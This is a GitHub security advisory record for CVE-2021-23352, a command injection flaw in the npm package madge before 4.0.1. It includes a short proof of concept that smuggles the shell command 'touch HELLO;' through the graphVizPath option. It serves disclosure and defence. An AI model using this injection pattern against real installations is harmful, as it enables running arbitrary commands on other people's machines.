GHSA-753C-PHHG-CJ29

Vulnerability from github – Published: 2021-03-12 23:01 – Updated: 2023-09-06 23:33
VLAI?
Summary
Madge vulnerable to command injection
Details

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.

PoC

const madge = require('madge'); 
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "madge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-12T21:10:53Z",
    "nvd_published_at": "2021-03-09T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.\n\n### PoC\n```js\nconst madge = require(\u0027madge\u0027); \nmadge(\u0027..\u0027, {graphVizPath: \"touch HELLO;\"}) .then((res) =\u003e res.svg()) .then((writtenImagePath) =\u003e { console.log(\u0027Image written to \u0027 + writtenImagePath); });\n```",
  "id": "GHSA-753c-phhg-cj29",
  "modified": "2023-09-06T23:33:10Z",
  "published": "2021-03-12T23:01:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23352"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pahen/madge/blob/master/lib/graph.js#L27"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MADGE-1082875"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Madge vulnerable to command injection"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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